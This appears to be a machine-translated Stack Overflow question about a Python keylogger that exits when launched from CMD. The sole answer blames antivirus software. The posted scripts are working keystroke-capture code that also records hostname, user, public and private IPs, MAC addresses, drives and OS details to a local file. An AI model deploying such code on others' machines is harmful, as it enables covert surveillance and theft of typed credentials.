Python键盘记录器-从CMD执行时未保持键盘监听器处于打开状态

时间:2019-09-10 21:12:03

标签: python keylogger system-information

在我们开始之前...

我对Python还是很陌生,任何帮助或见识都绝对很棒。

这既不是恶意的键盘记录程序,也不是病毒,并且我公司将仅出于安全目的将其用于监视网络PC。它不发送日志,也不在本地存储文件。它不会尝试保持隐藏状态。我是没有恶意的企业程序员。将使用户意识到正在监视击键,并且日志存储在用户的主目录中。

我的Python运行正常,并且在IDLE编辑器中可以正常工作。但是,从命令行运行代码后,它不会继续执行并且脚本将退出。

我试图将我的代码逐行移植到其他工作版本,删除所有多余的内容。添加单个换行符或导入符似乎可以完全破坏脚本。

以下代码有效,执行后不会退出。它继续记录并按预期工作。从CMD运行时,该过程保持打开状态:


from os.path import expanduser
home = expanduser("~")

from pynput.keyboard import Key, Listener
import logging
log_dir = r"{}/".format(home)
logging.basicConfig(filename = (log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
    logging.info(str(key))
with Listener(on_press=on_press) as listener:
    listener.join()

但是,以下代码在执行后不会继续记录,并且程序退出:


from pynput.keyboard import Key, Listener
import time
import os
import random
import requests
import socket
import platform
import win32api
import wmi
import urllib.request
import logging

from os.path import expanduser
homeDir = expanduser("~")

SystemType = platform.system()
SystemArchitecture = platform.machine()
SystemPlatform = platform.platform()
SystemProcessor = platform.processor()
VolumeInformation = win32api.GetVolumeInformation("C:\\")
HostName = socket.gethostname()
SystemWMI = wmi.WMI()

publicIP = requests.get('https://api.ipify.org').text
privateIP = socket.gethostbyname(socket.gethostname())
user = os.path.expanduser('~').split('\\')[2]
datetime = time.ctime(time.time())

file = open(homeDir + "\logger.txt", "w+")

file.write("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

print("Hostname: " + HostName)
file.write("Hostname: " + HostName + "\n")

print("User: " + user)
file.write("User: " + user + "\n")

print("Public IP: " + publicIP)
file.write("Public IP: " + publicIP + "\n")

print("Private IP: " + privateIP)
file.write("Private IP: " + privateIP + "\n")

for interface in SystemWMI.Win32_NetworkAdapterConfiguration (IPEnabled=1):
    print("MAC Address: " + interface.MACAddress)
    file.write("MAC Address: " + interface.MACAddress + "\n")
    print("Interface Description: " + interface.Description)
    file.write("Interface Description: " + interface.Description + "\n\n")

print()
file.write("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

if(SystemType == "Windows"):    
    print("System Type: " + SystemType)
    file.write("System Type: " + SystemType + "\n")

    print("System Architecture: " + SystemArchitecture)
    file.write("System Architecture: " + SystemArchitecture + "\n")

    print("System Platform: " + SystemPlatform)
    file.write("System Platform: " + SystemPlatform + "\n")

    print("System Processor: " + SystemProcessor)
    file.write("System Processor: " + SystemProcessor + "\n\n")

    DriveList = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    ActiveDrives = ['%s:' % d for d in DriveList if os.path.exists('%s:' % d)]

    DRIVE_TYPES = {
      0 : "Unknown",
      1 : "No Root Directory",
      2 : "Removable Disk",
      3 : "Local Disk",
      4 : "Network Drive",
      5 : "Compact Disc",
      6 : "RAM Disk"
    }

    print()
    file.write("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

    print("Drives In Use: ")
    file.write("Drives In Use: \n")

    print(ActiveDrives)
    file.write(str(ActiveDrives) + "\n\n")

    print()
    file.write("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

    print("Drive Types: ")
    file.write("Drive Types: \n\n")

    for drive in SystemWMI.Win32_LogicalDisk ():
        print(drive.Caption, DRIVE_TYPES[drive.DriveType])
        file.write(drive.Caption)
        file.write(DRIVE_TYPES[drive.DriveType] + "\n")

    print()
    file.write("\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

    print("C:\\ Volume Information")
    file.write("C:\\ Volume Information: \n")

    print(VolumeInformation)
    file.write(str(VolumeInformation) + "\n\n")

    print()
    file.write("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

    print("OS Instance Information: ")
    file.write("OS Instance Information: \n")

    for os in SystemWMI.Win32_OperatingSystem():
        print(os)
        file.write(str(os) + "\n")

print()
file.write("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

print("Logging keystrokes...")
file.write("Logging keystrokes...\n\n")

file.close()

log_dir = r"{}/".format(homeDir)
logging.basicConfig(filename = (log_dir + "logger.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    print(key)
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()


即使将单个导入添加到工作版本也会破坏它。没有抛出异常。

该代码有望在执行后继续记录击键,但是正在退出且没有任何错误代码。它在IDLE中按预期工作,并继续记录直到IDLE关闭。但是,从CMD运行时,它会在输出“ Logging Keystr击...”之后立即关闭。

帮助?

1 个答案:

答案 0 :(得分:0)

来找出原因,是PC上的防病毒软件导致程序崩溃。这可以正常运行,并且可以正常使用。